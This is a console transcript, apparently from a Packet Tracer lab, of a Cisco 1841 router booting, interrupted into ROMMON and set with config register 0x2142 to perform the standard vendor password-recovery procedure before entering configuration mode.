Compiled Wed 18-Jul-07 04:52 by pt_team
Image text-base: 0x60080608, data-base: 0x6270CD50

This product contains cryptographic features and is subject to United
States and local country laws governing import, export, transfer and
use. Delivery of Cisco cryptographic products does not imply
third-party authority to import, export, distribute or use encryption.
Importers, exporters, distributors and users are responsible for
compliance with U.S. and local country laws. By using this product you
agree to comply with applicable laws and regulations. If you are unable
to comply with U.S. and local laws, return this product immediately.

A summary of U.S. laws governing Cisco cryptographic products may be found at:
http://www.cisco.com/wwl/export/crypto/tool/stqrg.html

If you require further assistance please contact us by sending email to
export@cisco.com.

Cisco 1841 (revision 5.0) with 114688K/16384K bytes of memory.
Processor board ID FTX0947Z18E
M860 processor: part number 0, mask 49
2 FastEthernet/IEEE 802.3 interface(s)
191K bytes of NVRAM.
31360K bytes of ATA CompactFlash (Read/Write)
Cisco IOS Software, 1841 Software (C1841-ADVIPSERVICESK9-M), Version 12.4(15)T1, RELEASE SOFTWARE (fc2)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2007 by Cisco Systems, Inc.
Compiled Wed 18-Jul-07 04:52 by pt_team

%LINK-5-CHANGED: Interface Vlan1, changed state to up
%LINK-5-CHANGED: Interface FastEthernet0/0, changed state to up
%LINK-5-CHANGED: Interface FastEthernet0/1, changed state to up
%LINK-5-CHANGED: Interface FastEthernet0/0, changed state to administratively down
%LINK-5-CHANGED: Interface FastEthernet0/1, changed state to administratively down
%LINK-5-CHANGED: Interface Vlan1, changed state to administratively down
Press RETURN to get started!

Router>en
Password:
Router#exit

/////////////////////////// Reset Hardware /////////////////////////////////////

Router>System Bootstrap, Version 12.3(8r)T8, RELEASE SOFTWARE (fc1)
Cisco 1841 (revision 5.0) with 114688K/16384K bytes of memory.

Self decompressing the image :
##########
monitor: command “boot” aborted due to user interrupt
rommon 1 >
rommon 1 >
rommon 1 >
rommon 1 >
rommon 1 > confreg 0x2142
rommon 2 > reset

System Bootstrap, Version 12.3(8r)T8, RELEASE SOFTWARE (fc1)
Cisco 1841 (revision 5.0) with 114688K/16384K bytes of memory.

Self decompressing the image :
########################################################################## [OK]
Restricted Rights Legend

Use, duplication, or disclosure by the Government is
subject to restrictions as set forth in subparagraph
(c) of the Commercial Computer Software – Restricted
Rights clause at FAR sec. 52.227-19 and subparagraph
(c) (1) (ii) of the Rights in Technical Data and Computer
Software clause at DFARS sec. 252.227-7013.

cisco Systems, Inc.
170 West Tasman Drive
San Jose, California 95134-1706

Cisco IOS Software, 1841 Software (C1841-ADVIPSERVICESK9-M), Version 12.4(15)T1, RELEASE SOFTWARE (fc2)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2007 by Cisco Systems, Inc.
Compiled Wed 18-Jul-07 04:52 by pt_team
Image text-base: 0x60080608, data-base: 0x6270CD50

This product contains cryptographic features and is subject to United
States and local country laws governing import, export, transfer and
use. Delivery of Cisco cryptographic products does not imply
third-party authority to import, export, distribute or use encryption.
Importers, exporters, distributors and users are responsible for
compliance with U.S. and local country laws. By using this product you
agree to comply with applicable laws and regulations. If you are unable
to comply with U.S. and local laws, return this product immediately.

A summary of U.S. laws governing Cisco cryptographic products may be found at:
http://www.cisco.com/wwl/export/crypto/tool/stqrg.html

If you require further assistance please contact us by sending email to
export@cisco.com.

Cisco 1841 (revision 5.0) with 114688K/16384K bytes of memory.
Processor board ID FTX0947Z18E
M860 processor: part number 0, mask 49
2 FastEthernet/IEEE 802.3 interface(s)
191K bytes of NVRAM.
31360K bytes of ATA CompactFlash (Read/Write)
Cisco IOS Software, 1841 Software (C1841-ADVIPSERVICESK9-M), Version 12.4(15)T1, RELEASE SOFTWARE (fc2)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2007 by Cisco Systems, Inc.
Compiled Wed 18-Jul-07 04:52 by pt_team

— System Configuration Dialog —

Continue with configuration dialog? [yes/no]: no

Press RETURN to get started!

Router>en
Router#conf t

Enter configuration commands, one per line.  End with CNTL/Z.
Router(config)#^Z
%SYS-5-CONFIG_I: Configured from console by console